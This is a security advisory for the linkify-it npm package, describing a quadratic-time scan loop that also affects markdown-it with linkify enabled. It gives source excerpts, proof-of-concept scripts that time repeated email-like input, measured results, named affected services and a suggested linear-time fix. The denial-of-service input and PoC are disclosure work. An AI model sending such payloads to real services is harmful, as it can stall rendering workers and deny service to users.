GHSA-22p9-wv53-3rq4
LinkifyIt#match scan loop has quadratic algorithmic complexity
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | linkify-it | < 5.0.1 | 5.0.1 |
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
`LinkifyIt.prototype.match` — the package's primary public API — has **O(N²) algorithmic complexity** for inputs containing many fuzzy links or emails. This is not a regex backtrack bug; it's a structural issue in the JS-level scan loop that re-slices the input and re-runs unanchored regex searches on progressively shorter tails, N times.
64 KB of `"[email protected]\n"` repeated burns ~2.5 s of single-threaded CPU; 128 KB takes ~10 s. Doubling the input quadruples the time — textbook O(N²).
The same cost passes through `markdown-it` (`linkify:true`) unmodified. Any service that synchronously renders untrusted Markdown with linkify enabled on a request hot-path (forums, comments, chat, wikis, AI chat UIs) inherits a worker-process DoS triggerable by a tens-of-KB request body.
## Affected component
- HEAD audited: `8e887d5bace3f5b09b1d1f70492fa0364ef1793d` (v5.0.0)
- Vulnerable function: `LinkifyIt.prototype.match` — `index.mjs:528-554`
- Re-scan call sites inside `test()`: `index.mjs:444` (fuzzy host search), `:448` (fuzzy link match), `:467` (fuzzy email match)
- Transitive consumer: `markdown-it` (~21.6M weekly npm DLs) calls `linkify.match()` at `lib/rules_core/linkify.mjs:57` when `linkify:true`
- **All versions affected** — the vulnerable loop exists since the initial commit (2014) through v5.0.0
## Vulnerability details
### The O(N²) outer loop
`index.mjs:528-554`:
```js
LinkifyIt.prototype.match = function match (text) {
const result = []
let shift = 0
let tail = shift ? text.slice(shift) : text
while (this.test(tail)) {
result.push(createMatch(this, shift))
tail = tail.slice(this.__last_index__) // <-- re-allocates remaining tail each iteration
shift += this.__last_index__
}
if (result.length) return result
return null
}
```
The loop iterates O(N) times (once per match). Each iteration:
1. `tail.slice()` re-allocates a string of length `|text| - shift` — O(N) per iteration
2. `this.test(tail)` runs three unanchored regex searches over the full new `tail`:
```js
// index.mjs:444 — full-tail search
tld_pos = text.search(this.re.host_fuzzy_test)
// index.mjs:448 — full-tail match
ml = text.match(this.re.link_fuzzy)
// index.mjs:467 — full-tail match
me = text.match(this.re.email_fuzzy)
```
Total cost: `Σ(N - i*c) for i=0..N = O(N²)`.
### Contrast with the linear schema branch
The schema-prefixed scan in the same `test()` function does it correctly at `index.mjs:428-440`:
```js
re = this.re.schema_search
re.lastIndex = 0
while ((m = re.exec(text)) !== null) { ... }
```
That branch uses a `g`-flag RegExp and advances `lastIndex` — linear. The fuzzy branches don't follow this pattern.
## Proof of concept
```bash
mkdir /tmp/linkifyit-redos && cd /tmp/linkifyit-redos
npm install [email protected]
cat > poc.mjs <<'EOF'
import LinkifyIt from 'linkify-it'
const l = new LinkifyIt()
for (const n of [1000, 2000, 4000, 8000, 16000]) {
const evil = '[email protected]\n'.repeat(n)
const t0 = process.hrtime.bigint()
l.match(evil)
const ms = Number(process.hrtime.bigint() - t0) / 1e6
console.log(`n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms`)
}
EOF
node poc.mjs
```
### Measured output (Node v25.5.0, Apple Silicon)
```
n=1000 bytes=8000 took 44 ms
n=2000 bytes=16000 took 159 ms
n=4000 bytes=32000 took 628 ms
n=8000 bytes=64000 took 2506 ms
n=16000 bytes=128000 took 9948 ms
```
Doubling N → ~4× wall-clock, consistent with O(N²).
### markdown-it transitive (independently confirmed)
```bash
npm install [email protected]
node -e "
const md = require('markdown-it')({ linkify: true })
for (const n of [1000, 2000, 4000, 8000]) {
const evil = '[email protected] '.repeat(n)
const t0 = process.hrtime.bigint()
md.render(evil)
const ms = Number(process.hrtime.bigint() - t0) / 1e6
console.log('n=' + n + ' bytes=' + evil.length + ' md.render=' + ms.toFixed(0) + 'ms')
}
"
```
```
n=1000 bytes=8000 md.render=45ms
n=2000 bytes=16000 md.render=171ms
n=4000 bytes=32000 md.render=672ms
n=8000 bytes=64000 md.render=2636ms
```
Same quadratic curve. 64 KB is enough to burn 2.6 s in `markdown-it.render()`.
## Impact
- **Availability (High)**: A single HTTP request containing tens of KB of repeated email-like strings blocks one worker thread for seconds to tens of seconds. Under moderate concurrency (10-50 requests), the entire rendering tier of an affected service is wedged.
- No confidentiality or integrity impact.
**Real-world scenario**: Any service that renders untrusted Markdown with `linkify:true` on the request path — Discourse, Mattermost, GitLab CE, AI chat UIs (Open WebUI, LibreChat), wiki/note apps using markdown-it — receives a post/comment containing 64 KB of `"[email protected] "`. The render call blocks the worker for 2.5+ seconds. Scripted at scale, this wedges the rendering tier.
## Suggested remediation
The fix is algorithmic — convert the outer scan loop to stateful regex iteration so each character is examined a constant number of times:
1. Add the `g` flag to `email_fuzzy`, `link_fuzzy`, `link_no_ip_fuzzy`, `host_fuzzy_test` in `lib/re.mjs`
2. Rewrite `test()` (or add `testAt(text, pos)`) so fuzzy branches set `re.lastIndex = pos` and call `re.exec(text)` instead of `text.match()`/`text.search()` on a sliced tail
3. In `match()`, drop `tail = tail.slice(...)` entirely — advance a `pos` offset instead
The schema branch at `index.mjs:428-440` is already structured this way — it's the in-repo precedent for the fix.
```js
// proposed sketch
LinkifyIt.prototype.match = function match (text) {
const result = []
let pos = 0
while (this.testAt(text, pos)) {
result.push(createMatch(this, 0))
pos = this.__last_index__
}
return result.length ? result : null
}
```
Total cost becomes O(N): each character scanned at most once per regex across the whole loop.
## Duplicate-risk analysis
- Zero GHSAs on `linkify-it` (`gh api /repos/markdown-it/linkify-it/security-advisories` → `[]`)
- Zero OSV entries (`api.osv.dev/v1/query` → `{}`)
- markdown-it's only GHSA (CVE-2022-21670, "Possible ReDOS in newline rule") targets markdown-it's own newline regex, not the linkify pipeline
This finding appears novel.
## Note to maintainers
Since `markdown-it` is the dominant consumer and shares maintainership (Vitaly Puzrin), a patched `linkify-it` release should be paired with a `markdown-it` minor that pins the new minimum version.
References
External links from the advisory. They lead to third-party sites.